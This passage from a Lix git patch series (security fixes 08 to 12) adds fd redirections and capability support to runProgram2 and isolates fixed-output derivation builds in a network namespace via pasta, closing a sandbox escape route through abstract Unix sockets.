e9e4eb15a..01c42b9fc 100644 +--- a/lix/libutil/processes.hh ++++ b/lix/libutil/processes.hh +@@ -102,9 +102,23 @@ private: + + public: + RunningProgram() = default; ++ RunningProgram(RunningProgram &&) = default; ++ RunningProgram & operator=(RunningProgram &&) = default; + ~RunningProgram(); + +- void wait(); ++ explicit operator bool() const { return bool(pid); } ++ ++ std::tuple, int> release(); ++ ++ int kill(); ++ [[nodiscard]] ++ int wait(); ++ void waitAndCheck(); ++ ++ std::optional getStdoutFD() const ++ { ++ return stdout_ ? std::optional(stdout_.get()) : std::nullopt; ++ } + + Source * getStdout() const { return stdoutSource.get(); }; + }; +-- +2.49.0 + + +From 7f127054bec18da811bf3364909870f7a54f6b8d Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Mon, 17 Mar 2025 15:45:27 +0100 +Subject: [SECURITY FIX 08/12] libutil: add generic redirections runProgram2 + +explicit stderr redirection makes mergeStderrToStdout unnecessary also. + +Change-Id: I63de929e6dc53f6c5ceb2d43c2ce288bfc04d872 +--- + lix/libfetchers/git.cc | 23 +++++++++++++++++------ + lix/libstore/build/derivation-goal.cc | 2 +- + lix/libstore/globals.cc | 12 ++++++++++-- + lix/libstore/ssh.cc | 1 + + lix/libutil/processes.cc | 8 +++++--- + lix/libutil/processes.hh | 7 ++++++- + 6 files changed, 40 insertions(+), 13 deletions(-) + +diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc +index 3231ec011..aa3ef7150 100644 +--- a/lix/libfetchers/git.cc ++++ b/lix/libfetchers/git.cc +@@ -22,6 +22,7 @@ + #include + #include + #include ++#include + + using namespace std::string_literals; + +@@ -164,11 +165,19 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir) + + /* Check whether HEAD points to something that looks like a commit, + since that is the refrence we want to use later on. */ +- auto result = runProgram(RunOptions { ++ auto result = runProgram(RunOptions{ + .program = "git", +- .args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" }, ++ .args = ++ {"-C", ++ workdir, ++ "--git-dir", ++ gitDir, ++ "rev-parse", ++ "--verify", ++ "--no-revs", ++ "HEAD^{commit}"}, + .environment = env, +- .mergeStderrToStdout = true ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, + }); + auto exitCode = WEXITSTATUS(result.first); + auto errorMessage = result.second; +@@ -709,10 +718,12 @@ struct GitInputScheme : InputScheme + AutoDelete delTmpDir(tmpDir, true); + PathFilter filter = defaultPathFilter; + +- auto result = runProgram(RunOptions { ++ auto result = runProgram(RunOptions{ + .program = "git", +- .args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() }, +- .mergeStderrToStdout = true ++ .args = ++ {"-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() ++ }, ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, + }); + if (WEXITSTATUS(result.first) == 128 + && result.second.find("bad file") != std::string::npos) +diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc +index 69e654490..48d38ffb4 100644 +--- a/lix/libstore/build/derivation-goal.cc ++++ b/lix/libstore/build/derivation-goal.cc +@@ -891,7 +891,7 @@ void runPostBuildHook( + .program = settings.postBuildHook, + .environment = hookEnvironment, + .captureStdout = true, +- .mergeStderrToStdout = true, ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}, + }); + Finally const _wait([&] { + try { +diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc +index 9221da32b..b4328b068 100644 +--- a/lix/libstore/globals.cc ++++ b/lix/libstore/globals.cc +@@ -242,9 +242,17 @@ StringSet Settings::getDefaultExtraPlatforms() + // machines. Note that we can’t force processes from executing + // x86_64 in aarch64 environments or vice versa since they can + // always exec with their own binary preferences. +- if (std::string{SYSTEM} == "aarch64-darwin" && +- runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0) ++ if (std::string{SYSTEM} == "aarch64-darwin" ++ && runProgram(RunOptions{ ++ .program = "arch", ++ .args = {"-arch", "x86_64", "/usr/bin/true"}, ++ .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}} ++ } ++ ).first ++ == 0) ++ { + extraPlatforms.insert("x86_64-darwin"); ++ } + #endif + + return extraPlatforms; +diff --git a/lix/libstore/ssh.cc b/lix/libstore/ssh.cc +index b43cc50a9..2b329f231 100644 +--- a/lix/libstore/ssh.cc ++++ b/lix/libstore/ssh.cc +@@ -8,6 +8,7 @@ + #include "lix/libutil/strings.hh" + #include "lix/libstore/temporary-dir.hh" + #include ++#include + + namespace nix { + +diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc +index 6b24d943f..0dcd96ba9 100644 +--- a/lix/libutil/processes.cc ++++ b/lix/libutil/processes.cc +@@ -330,9 +330,11 @@ RunningProgram runProgram2(const RunOptions & options) + replaceEnv(*options.environment); + if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1) + throw SysError("dupping stdout"); +- if (options.mergeStderrToStdout) +- if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1) +- throw SysError("cannot dup stdout into stderr"); ++ for (auto redirection : options.redirections) { ++ if (dup2(redirection.to, redirection.from) == -1) { ++ throw SysError("dupping fd %i to %i", redirection.from, redirection.to); ++ } ++ } + + if (options.chdir && chdir((*options.chdir).c_str()) == -1) + throw SysError("chdir failed"); +diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh +index 01c42b9fc..3311b8fb8 100644 +--- a/lix/libutil/processes.hh ++++ b/lix/libutil/processes.hh +@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false, + + struct RunOptions + { ++ struct Redirection ++ { ++ int from, to; ++ }; ++ + Path program; + bool searchPath = true; + Strings args = {}; +@@ -84,8 +89,8 @@ struct RunOptions + std::optional chdir = {}; + std::optional> environment = {}; + bool captureStdout = false; +- bool mergeStderrToStdout = false; + bool isInteractive = false; ++ std::vector redirections; + }; + + struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram +-- +2.49.0 + + +From 582f775ac358f9da682f707a3f58f228f7fdaed8 Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Fri, 28 Mar 2025 23:16:01 +0100 +Subject: [SECURITY FIX 09/12] libutil: add capability support to runProgram2 + +launching pasta to not run as root will ambient require capabilities. + +Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea +--- + lix/libutil/processes.cc | 47 ++++++++++++++++++++++++++++++++++++++++ + lix/libutil/processes.hh | 3 +++ + 2 files changed, 50 insertions(+) + +diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc +index 0dcd96ba9..2f214e552 100644 +--- a/lix/libutil/processes.cc ++++ b/lix/libutil/processes.cc +@@ -22,6 +22,7 @@ + #endif + + #ifdef __linux__ ++# include + # include + # include + #endif +@@ -338,6 +339,13 @@ RunningProgram runProgram2(const RunOptions & options) + + if (options.chdir && chdir((*options.chdir).c_str()) == -1) + throw SysError("chdir failed"); ++ ++#if __linux__ ++ if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) { ++ throw SysError("setting keep-caps failed"); ++ } ++#endif ++ + if (options.gid && setgid(*options.gid) == -1) + throw SysError("setgid failed"); + /* Drop all other groups if we're setgid. */ +@@ -346,6 +354,45 @@ RunningProgram runProgram2(const RunOptions & options) + if (options.uid && setuid(*options.uid) == -1) + throw SysError("setuid failed"); + ++#if __linux__ ++ if (!options.caps.empty()) { ++ if (prctl(PR_SET_KEEPCAPS, 0)) { ++ throw SysError("clearing keep-caps failed"); ++ } ++ ++ // we do the capability dance like this to avoid a dependency ++ // on libcap, which has a rather large build closure and many ++ // more features that we need for now. maybe some other time. ++ static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522; ++ static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2; ++ struct user_cap_header_struct ++ { ++ uint32_t version; ++ int pid; ++ } hdr = {LINUX_CAPABILITY_VERSION_3, 0}; ++ struct user_cap_data_struct ++ { ++ uint32_t effective; ++ uint32_t permitted; ++ uint32_t inheritable; ++ } data[LINUX_CAPABILITY_U32S_3] = {}; ++ for (auto cap : options.caps) { ++ assert(cap / 32 < LINUX_CAPABILITY_U32S_3); ++ data[cap / 32].permitted |= 1 << (cap % 32); ++ data[cap / 32].inheritable |= 1 << (cap % 32); ++ } ++ if (syscall(SYS_capset, &hdr, data)) { ++ throw SysError("couldn't set capabilities"); ++ } ++ ++ for (auto cap : options.caps) { ++ if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) { ++ throw SysError("couldn't set ambient caps"); ++ } ++ } ++ } ++#endif ++ + Strings args_(options.args); + args_.push_front(options.program); + +diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh +index 3311b8fb8..6ca7f3bdf 100644 +--- a/lix/libutil/processes.hh ++++ b/lix/libutil/processes.hh +@@ -91,6 +91,9 @@ struct RunOptions + bool captureStdout = false; + bool isInteractive = false; + std::vector redirections; ++#if __linux__ ++ std::set caps; ++#endif + }; + + struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram +-- +2.49.0 + + +From 6a61eea281de2c4d7d2b4f375511db0dacfec5ec Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Fri, 28 Mar 2025 23:04:56 +0100 +Subject: [SECURITY FIX 10/12] libstore: use pasta for FODs if available + +This allows using a userspace program, pasta, to handle comms between +the build sandbox, and the outside world; allowing for full isolation +including the network namespace, closing the "fixed-output derivation +talks to the host over an abstract domain socket" hole for good. + +Co-Authored-By: Puck Meerburg +Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15 +--- + doc/manual/rl-next/pasta.md | 20 +++ + lix/libstore/build/local-derivation-goal.cc | 40 +++++- + lix/libstore/build/local-derivation-goal.hh | 15 +++ + lix/libstore/globals.cc | 3 + + lix/libstore/meson.build | 7 ++ + lix/libstore/platform/linux.cc | 133 +++++++++++++++++++- + lix/libstore/platform/linux.hh | 18 +++ + lix/libstore/settings/pasta-path.md | 10 ++ + meson.build | 7 ++ + meson.options | 4 + + misc/passt.nix | 64 ++++++++++ + package.nix | 6 + + tests/nixos/ca-fd-leak/default.nix | 90 ------------- + tests/nixos/ca-fd-leak/sender.c | 65 ---------- + tests/nixos/ca-fd-leak/smuggler.c | 66 ---------- + tests/nixos/default.nix | 2 - + tests/nixos/fetchurl.nix | 2 +- + 17 files changed, 323 insertions(+), 229 deletions(-) + create mode 100644 doc/manual/rl-next/pasta.md + create mode 100644 lix/libstore/settings/pasta-path.md + create mode 100644 misc/passt.nix + delete mode 100644 tests/nixos/ca-fd-leak/default.nix + delete mode 100644 tests/nixos/ca-fd-leak/sender.c + delete mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/doc/manual/rl-next/pasta.md b/doc/manual/rl-next/pasta.md +new file mode 100644 +index 000000000..a7b7aa952 +--- /dev/null ++++ b/doc/manual/rl-next/pasta.md +@@ -0,0 +1,20 @@ ++--- ++synopsis: "Fixed output derivations can be run using `pasta` network isolation" ++cls: [] ++issues: [fj#285] ++category: "Breaking Changes" ++credits: [horrors, puck] ++--- ++ ++Fixed output derivations traditionally run in the host network namespace. ++On Linux this allows such derivations to communicate with other sandboxes ++or the host using the abstract Unix domains socket namespace; this hasn't ++been unproblematic in the past and has been used in two distinct exploits ++to break out of the sandbox. For this reason fixed output derivations can ++now run in a network namespace (provided by [`pasta`]), restricted to TCP ++and UDP communication with the rest of the world. When enabled this could ++be a breaking change and we classify it as such, even though we don't yet ++enable or require such isolation by default. We may enforce this in later ++releases of Lix once we have sufficient confidence that breakage is rare. ++ ++[`pasta`]: https://passt.top/ +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index c33bd8283..7ccb0ad33 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -13,6 +13,8 @@ + #include "lix/libutil/archive.hh" + #include "lix/libstore/daemon.hh" + #include "lix/libutil/regex.hh" ++#include "lix/libutil/file-descriptor.hh" ++#include "lix/libutil/file-system.hh" + #include "lix/libutil/result.hh" + #include "lix/libutil/topo-sort.hh" + #include "lix/libutil/json.hh" +@@ -24,6 +26,7 @@ + #include "lix/libutil/mount.hh" + #include "lix/libutil/strings.hh" + #include "lix/libutil/thread-name.hh" ++#include "platform/linux.hh" + + #include + #include +@@ -1073,7 +1076,7 @@ void LocalDerivationGoal::runChild() + /* N.B. it is realistic that these paths might not exist. It + happens when testing Nix building fixed-output derivations + within a pure derivation. */ +- for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) ++ for (auto & path : { "/etc/services", "/etc/hosts" }) + if (pathExists(path)) { + // Copy the actual file, not the symlink, because we don't know where + // the symlink is pointing, and we don't want to chase down the entire +@@ -1094,6 +1097,11 @@ void LocalDerivationGoal::runChild() + copyFile(path, chrootRootDir + path, { .followSymlinks = true }); + } + ++ if (pathExists("/etc/resolv.conf")) { ++ const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf")); ++ writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf); ++ } ++ + if (settings.caFile != "" && pathExists(settings.caFile)) { + // For the same reasons as above, copy the CA certificates file too. + // It should be even less likely to change during the build than resolv.conf. +@@ -1221,6 +1229,36 @@ void LocalDerivationGoal::runChild() + if (setuid(sandboxUid()) == -1) + throw SysError("setuid failed"); + ++ if (runPasta) { ++ // wait for the pasta interface to appear. pasta can't signal us when ++ // it's done setting up the namespace, so we have to wait for a while ++ AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); ++ if (!fd) throw SysError("cannot open IP socket"); ++ ++ struct ifreq ifr; ++ strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME); ++ // wait two minutes for the interface to appear. if it does not do so ++ // we are either grossly overloaded, or pasta startup failed somehow. ++ static constexpr int SINGLE_WAIT_US = 1000; ++ static constexpr int TOTAL_WAIT_US = 120'000'000; ++ for (unsigned tries = 0; ; tries++) { ++ if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) { ++ throw Error( ++ "sandbox network setup timed out, please check daemon logs for " ++ "possible error output." ++ ); ++ } else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) { ++ if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) { ++ break; ++ } ++ } else if (errno == ENODEV) { ++ usleep(SINGLE_WAIT_US); ++ } else { ++ throw SysError("cannot get loopback interface flags"); ++ } ++ } ++ } ++ + setUser = false; + } + #endif +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index eb2fe50f3..a0031e141 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -285,6 +285,12 @@ struct LocalDerivationGoal : public DerivationGoal + protected: + using DerivationGoal::DerivationGoal; + ++ /** ++ * Whether to run pasta for network-endowed derivations. Running pasta ++ * currently requires actively waiting for its net-ns setup to finish. ++ */ ++ bool runPasta = false; ++ + /** + * Setup dependencies outside the sandbox. + * Called in the parent nix process. +@@ -294,6 +300,15 @@ protected: + throw Error("sandboxing builds is not supported on this platform"); + }; + ++ /** ++ * Rewrite resolv.conf for use in the sandbox. Used in the linux platform ++ * to replace nameservers * when using pasta for fixed output derivations. ++ */ ++ virtual std::string rewriteResolvConf(std::string fromHost) ++ { ++ return fromHost; ++ } ++ + /** + * Create a new process that runs `openSlave` and `runChild` + * On some platforms this process is created with sandboxing flags. +diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc +index b4328b068..7fc4c6a21 100644 +--- a/lix/libstore/globals.cc ++++ b/lix/libstore/globals.cc +@@ -87,6 +87,9 @@ Settings::Settings() + #if defined(__linux__) && defined(SANDBOX_SHELL) + sandboxPaths.setDefault(tokenizeString("/bin/sh=" SANDBOX_SHELL)); + #endif ++#if defined(__linux__) && defined(PASTA_PATH) ++ pastaPath.setDefault(PASTA_PATH); ++#endif + + /* chroot-like behavior from Apple's sandbox */ + #if __APPLE__ +diff --git a/lix/libstore/meson.build b/lix/libstore/meson.build +index e59ae01b5..628ec1e55 100644 +--- a/lix/libstore/meson.build ++++ b/lix/libstore/meson.build +@@ -82,6 +82,7 @@ libstore_setting_definitions = files( + 'settings/narinfo-cache-negative-ttl.md', + 'settings/narinfo-cache-positive-ttl.md', + 'settings/netrc-file.md', ++ 'settings/pasta-path.md', + 'settings/plugin-files.md', + 'settings/post-build-hook.md', + 'settings/pre-build-hook.md', +@@ -326,6 +327,12 @@ elif busybox.found() + } + endif + ++if pasta.found() ++ cpp_str_defines += { ++ 'PASTA_PATH': pasta.full_path(), ++ } ++endif ++ + cpp_args = [] + + foreach name, value : cpp_str_defines +diff --git a/lix/libstore/platform/linux.cc b/lix/libstore/platform/linux.cc +index f8b721475..722135081 100644 +--- a/lix/libstore/platform/linux.cc ++++ b/lix/libstore/platform/linux.cc +@@ -1,16 +1,25 @@ + #include "lix/libstore/build/worker.hh" + #include "lix/libutil/cgroup.hh" ++#include "lix/libutil/file-descriptor.hh" ++#include "lix/libutil/file-system.hh" + #include "lix/libutil/finally.hh" + #include "lix/libstore/gc-store.hh" ++#include "lix/libutil/processes.hh" + #include "lix/libutil/signals.hh" + #include "lix/libstore/platform/linux.hh" + #include "lix/libutil/regex.hh" + #include "lix/libutil/strings.hh" + ++#include ++#include + #include + #include + #include + ++#if __linux__ ++#include ++#endif ++ + #if HAVE_SECCOMP + #include + #include +@@ -61,6 +70,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots) + } + } + ++LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal() ++{ ++ // pasta being left around mostly happens when builds are aborted ++ if (pastaPid) { ++ pastaPid.kill(); ++ } ++} ++ + void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked) + { + auto procDir = AutoCloseDir{opendir("/proc")}; +@@ -859,6 +876,26 @@ void LinuxLocalDerivationGoal::prepareSandbox() + } + } + ++std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost) ++{ ++ if (!runPasta) { ++ return fromHost; ++ } ++ ++ static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline; ++ static auto lineRegex = regex::parse("^nameserver\\s.*$", flags); ++ static auto v4Regex = regex::parse("^nameserver\\s+\\d{1,3}\\.", flags); ++ static auto v6Regex = regex::parse("^nameserver.*:", flags); ++ std::string nsInSandbox = "\n"; ++ if (std::regex_search(fromHost, v4Regex)) { ++ nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4); ++ } ++ if (std::regex_search(fromHost, v6Regex)) { ++ nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6); ++ } ++ return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox; ++} ++ + Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + { + #if HAVE_SECCOMP +@@ -886,9 +923,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + + - The private network namespace ensures that the builder + cannot talk to the outside world (or vice versa). It +- only has a private loopback interface. (Fixed-output +- derivations are not run in a private network namespace +- to allow functions like fetchurl to work.) ++ only has a private loopback interface. If a copy of ++ `pasta` is available, Fixed-output derivations are run ++ inside a private network namespace with internet ++ access, otherwise they are run in the host's network ++ namespace, to allow functions like fetchurl to work. + + - The IPC namespace prevents the builder from communicating + with outside processes using SysV IPC mechanisms (shared +@@ -909,6 +948,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + if (derivationType->isSandboxed()) + privateNetwork = true; + ++ // don't launch pasta unless we have a tun device. in a build sandbox we ++ // commonly do not, and trying to run pasta anyway naturally won't work. ++ runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun"); ++ + userNamespaceSync.create(); + + Pipe sendPid; +@@ -933,7 +976,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + + ProcessOptions options; + options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; +- if (privateNetwork) ++ // we always want to create a new network namespace for pasta, even when ++ // we can't actually run it. not doing so hides bugs and impairs purity. ++ if (settings.pastaPath != "" || privateNetwork) + options.cloneFlags |= CLONE_NEWNET; + if (usingUserNamespace) + options.cloneFlags |= CLONE_NEWUSER; +@@ -1004,6 +1049,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + /* Signal the builder that we've updated its user namespace. */ + writeFull(userNamespaceSync.writeSide.get(), "1"); + ++ if (runPasta) { ++ // Bring up pasta, for handling FOD networking. We don't let it daemonize ++ // itself for process managements reasons and kill it manually when done. ++ ++ // TODO add a new sandbox mode flag to disable all or parts of this? ++ Strings args = { ++ // clang-format off ++ "--quiet", ++ "--foreground", ++ "--config-net", ++ "--gateway", PASTA_HOST_IPV4, ++ "--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK, ++ "--dns-forward", PASTA_HOST_IPV4, ++ "--gateway", PASTA_HOST_IPV6, ++ "--address", PASTA_CHILD_IPV6, ++ "--dns-forward", PASTA_HOST_IPV6, ++ "--ns-ifname", PASTA_NS_IFNAME, ++ "--no-netns-quit", ++ "--netns", "/proc/self/fd/0", ++ // clang-format on ++ }; ++ ++ AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); ++ if (!netns) { ++ throw SysError("failed to open netns"); ++ } ++ ++ AutoCloseFD userns; ++ if (usingUserNamespace) { ++ userns = ++ AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); ++ if (!userns) { ++ throw SysError("failed to open userns"); ++ } ++ args.push_back("--userns"); ++ args.push_back("/proc/self/fd/1"); ++ } ++ ++ // FIXME ideally we want a notification when pasta exits, but we cannot do ++ // this at present. without such support we need to busy-wait for pasta to ++ // set up the namespace completely and time out after a while for the case ++ // of pasta launch failures. pasta logs go to syslog only for now as well. ++ pastaPid = runProgram2({ ++ .program = settings.pastaPath, ++ .args = args, ++ .uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt, ++ .gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt, ++ // TODO these redirections are crimes. pasta closes all non-stdio file ++ // descriptors very early and lacks fd arguments for the namespaces we ++ // want it to join. we cannot have pasta join the namespaces via pids; ++ // doing so requires capabilities which pasta *also* drops very early. ++ .redirections = { ++ {.from = 0, .to = netns.get()}, ++ {.from = 1, .to = userns ? userns.get() : 1}, ++ }, ++ .caps = getuid() == 0 ++ ? std::set{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE} ++ : std::set{}, ++ }); ++ } ++ + return pid; + } + +@@ -1050,5 +1156,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats) + This avoids processes unrelated to the build being killed, thus avoiding: https://git.lix.systems/lix-project/lix/issues/667 */ + LocalDerivationGoal::killSandbox(getStats); + } ++ ++ if (pastaPid) { ++ // FIXME we really want to send SIGTERM instead and wait for pasta to exit, ++ // but we do not have the infra for that right now. we send SIGKILL instead ++ // and treat exiting with that as a successful exit code until such a time. ++ // this is not likely to cause problems since pasta runs as the build user, ++ // but not inside the build sandbox. if it's killed it's either due to some ++ // external influence (in which case the sandboxed child will probably fail ++ // due to network errors, if it used the network at all) or some bug in lix ++ if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) { ++ if (WIFSIGNALED(status)) { ++ throw Error("pasta killed by signal %i", WTERMSIG(status)); ++ } else if (WIFEXITED(status)) { ++ throw Error("pasta exited with code %i", WEXITSTATUS(status)); ++ } else { ++ throw Error("pasta exited with status %i", status); ++ } ++ } ++ } + } + } +diff --git a/lix/libstore/platform/linux.hh b/lix/libstore/platform/linux.hh +index 9dba7f1de..47e33f240 100644 +--- a/lix/libstore/platform/linux.hh ++++ b/lix/libstore/platform/linux.hh +@@ -4,6 +4,7 @@ + #include "lix/libstore/build/local-derivation-goal.hh" + #include "lix/libstore/gc-store.hh" + #include "lix/libstore/local-store.hh" ++#include "lix/libutil/processes.hh" + + namespace nix { + +@@ -33,6 +34,20 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal + public: + using LocalDerivationGoal::LocalDerivationGoal; + ++ ~LinuxLocalDerivationGoal(); ++ ++ // NOTE these are all C strings because macos doesn't have constexpr std::string ++ // constructors, and std::string_view is a pain to turn into std::strings again. ++ static constexpr const char * PASTA_NS_IFNAME = "eth0"; ++ static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1"; ++ static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2"; ++ static constexpr const char * PASTA_IPV4_NETMASK = "16"; ++ // randomly chosen 6to4 prefix, mapping the same ipv4ll as above. ++ // even if this id is used on the daemon host there should not be ++ // any collisions since ipv4ll should never be addressed by ipv6. ++ static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101"; ++ static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102"; ++ + private: + /* + * Destroy the cgroup otherwise another build +@@ -41,6 +56,8 @@ private: + */ + void cleanupHookFinally() override; + ++ RunningProgram pastaPid; ++ + /** + * Create and populate chroot + */ +@@ -68,6 +85,7 @@ private: + return true; + } + ++ std::string rewriteResolvConf(std::string fromHost) override; + }; + + } +diff --git a/lix/libstore/settings/pasta-path.md b/lix/libstore/settings/pasta-path.md +new file mode 100644 +index 000000000..1df3600df +--- /dev/null ++++ b/lix/libstore/settings/pasta-path.md +@@ -0,0 +1,10 @@ ++--- ++name: pasta-path ++internalName: pastaPath ++type: Path ++default: "" ++--- ++If set to an absolute path, enables fully sandboxing fixed-output ++derivations, by using `pasta` to pass network traffic between the ++private network namespace. This allows for greater levels of isolation ++of builds to the host. +diff --git a/meson.build b/meson.build +index 92b4c05ec..adcea1142 100644 +--- a/meson.build ++++ b/meson.build +@@ -452,6 +452,13 @@ configdata += { + 'HAVE_DTRACE': dtrace_feature.enabled().to_int(), + } + ++pasta_path = get_option('pasta-path') ++# we can't check the pasta version because passt misuses stdio (it calls _exit() ++# after printing the version, which will never print the version unless run from ++# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential. ++# we *will* enable it in our own packaging, but distributions are not forced to. ++pasta = find_program(pasta_path, required : false, native : false) ++ + lsof = find_program('lsof', native : true) + + # This is how Nix does generated headers... +diff --git a/meson.options b/meson.options +index 8d5eed0bc..50caa32c4 100644 +--- a/meson.options ++++ b/meson.options +@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox', + description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', + ) + ++option('pasta-path', type : 'string', value : 'pasta', ++ description : 'path to the location of pasta (provided by passt)', ++) ++ + option('enable-tests', type : 'boolean', value : true, + description : 'whether to enable tests or not (requires rapidcheck and gtest)', + ) +diff --git a/misc/passt.nix b/misc/passt.nix +new file mode 100644 +index 000000000..3c0c633fa +--- /dev/null ++++ b/misc/passt.nix +@@ -0,0 +1,64 @@ ++{ ++ lib, ++ stdenv, ++ buildPackages, ++ fetchurl, ++ getconf, ++ gitUpdater, ++ testers, ++}: ++ ++stdenv.mkDerivation (finalAttrs: { ++ pname = "passt"; ++ version = "2025_02_17.a1e48a0"; ++ ++ src = fetchurl { ++ url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz"; ++ hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE="; ++ }; ++ ++ postPatch = '' ++ substituteInPlace Makefile --replace-fail \ ++ 'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \ ++ "PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)" ++ ''; ++ ++ makeFlags = [ ++ "prefix=${placeholder "out"}" ++ "VERSION=${finalAttrs.version}" ++ ]; ++ ++ passthru = { ++ tests.version = testers.testVersion { ++ package = finalAttrs.finalPackage; ++ }; ++ ++ updateScript = gitUpdater { ++ url = "https://passt.top/passt"; ++ }; ++ }; ++ ++ meta = with lib; { ++ homepage = "https://passt.top/passt/about/"; ++ description = "Plug A Simple Socket Transport"; ++ longDescription = '' ++ passt implements a translation layer between a Layer-2 network interface ++ and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host. ++ It doesn't require any capabilities or privileges, and it can be used as ++ a simple replacement for Slirp. ++ ++ pasta (same binary as passt, different command) offers equivalent ++ functionality, for network namespaces: traffic is forwarded using a tap ++ interface inside the namespace, without the need to create further ++ interfaces on the host, hence not requiring any capabilities or ++ privileges. ++ ''; ++ license = [ ++ licenses.bsd3 # and ++ licenses.gpl2Plus ++ ]; ++ platforms = platforms.linux; ++ maintainers = with maintainers; [ _8aed ]; ++ mainProgram = "passt"; ++ }; ++}) +diff --git a/package.nix b/package.nix +index 3a2e08c8c..f1fd1b1f9 100644 +--- a/package.nix ++++ b/package.nix +@@ -45,6 +45,8 @@ + ninja, + ncurses, + openssl, ++ # FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later ++ passt-lix ? __forDefaults.passt-lix, + pegtl, + pkg-config, + python3, +@@ -116,6 +118,8 @@ + # needs derivation patching to add debuginfo and coroutine library support + # !! must build this with clang as it is affected by the gcc coroutine bugs + capnproto-lix = callPackage 